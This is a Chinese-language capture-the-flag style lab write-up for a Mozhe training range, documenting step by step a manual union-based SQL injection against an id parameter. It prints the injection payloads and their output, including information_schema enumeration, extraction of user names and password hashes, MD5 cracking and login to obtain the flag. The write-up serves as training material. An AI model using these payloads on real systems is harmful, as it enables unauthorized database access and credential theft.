一、实验平台
https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe
二、实验目标
获取到网站的KEY,并提交完成靶场。
三、实验步骤
①、启动靶机,进行访问查找可能存在注入的页面
②、通过测试判断注入点的位置(id=)
(1)、注入点的判断方式 and 1=1 页面正常 and 1=2 页面错误
(2)、可能存在注入,随意填写(说明id =1 后边有注入点)(拼写的语句是为了测试你写的语句有没有带入到数据库执行,有影响说明带入数据库查询,所以 说明有注入点。)
③、猜解列名数量(字段数)order by x (错误与正常的正常值)
通过测试4没错,5错误,说明列名数量为4
http://124.70.64.48:41613/new_list.php?id=-1 union select 1,2,3,4
④、信息收集获取网站的数据库版本、数据库名字等
数据库版本 version() 5.7.22-0ubuntu0.16.04.1(5.0以上高版本,)
数据库名字database() mozhe_Discuz_StormGroup
数据库用户user() root@localhost
操作系统@@version_compile_os Linux
⑤、查询指定数据库名mozhe_Discuz_StormGroup下边第一个表名信息
union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
⑥、查询指定表名下的列名信息(查询有哪些列名)
union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
⑦、查询指定列名下数据:
union select 1,name,password,4 from StormGroup_member
这里我们得到一个用户名,还有一串数字,我们根据靶场提示,可知利用md5解密然后我们登录发现并不对,后来经过查找才知道上边的语句只显示第一行数据。
⑧、猜解多个数据可以采用limit x,1变动猜解(列名下的数据有多行时候可以变动猜解)
union select 1,name,password,4 from StormGroup_member limit 0,1
union select 1,name,password,4 from StormGroup_member limit 1,1
这里我们发现一个新的密码,然后解密试着登录一下
⑨、果然利用第二种方法查找的密码是正确的,接下来我们将靶场拿下拿到我们所需要提交的KEY